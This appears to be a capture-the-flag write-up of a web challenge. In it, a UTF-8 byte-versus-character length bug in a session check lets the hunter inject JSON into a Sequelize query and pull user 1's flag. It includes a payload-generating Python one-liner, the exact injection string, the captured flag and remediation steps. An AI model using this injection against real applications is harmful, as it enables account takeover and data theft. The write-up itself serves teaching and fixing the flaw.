The solution and the writeup provided were written by the hunter: Brahimmg
Broken session check in the game. parseCookie() takes id:session and allows only letters by checking Buffer.from(session,'utf8')[i], but loops on session.length. With multibyte é (1 char, 2 bytes) the tail is never checked, so I can inject JSON and control Sequelize where: cookie["session"].
Exploitation
- Opened challenge code from settings.
- Tried
1:abc: ok,1:abc123: invalid game session. Confirmed filter blocks digits/symbols.
- Saw Buffer vs string length bug, used
é*100to hide payload. - Sent
1:+é*100+a"}, "session": {"id": 1}, "b": {"c": "din INPUT. - It parsed as
{"session":{"id":1}}, returned brumens (id 1, owner of flag), flag rendered + popup.
Step to reproduce
- Generate payload:
1python3 -c "print('1:'+'é'*100+'a\"}, \"session\": {\"id\": 1}, \"b\": {\"c\": \"d')"
Output:
11:ééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééa"}, "session": {"id": 1}, "b": {"c": "d
- Go to inputs tab, paste output in input field.
- Click Submit.
- A popup You've Pwned It! + flag in result as data-flag
data-flag="FLAG{N3w_L3v3l_Unl0cked}".
Impact
Account takeover. Anyone can force findOne to return user 1 and steal session/flag. In real app = access to other users data.
Remediation
- Validate string with regex
/^[A-Za-z]+$/, not utf8 bytes. - Build JSON with
JSON.stringify, not string concat. - Never pass user object to where, use fixed keys:
where:{id:Number(id)}.



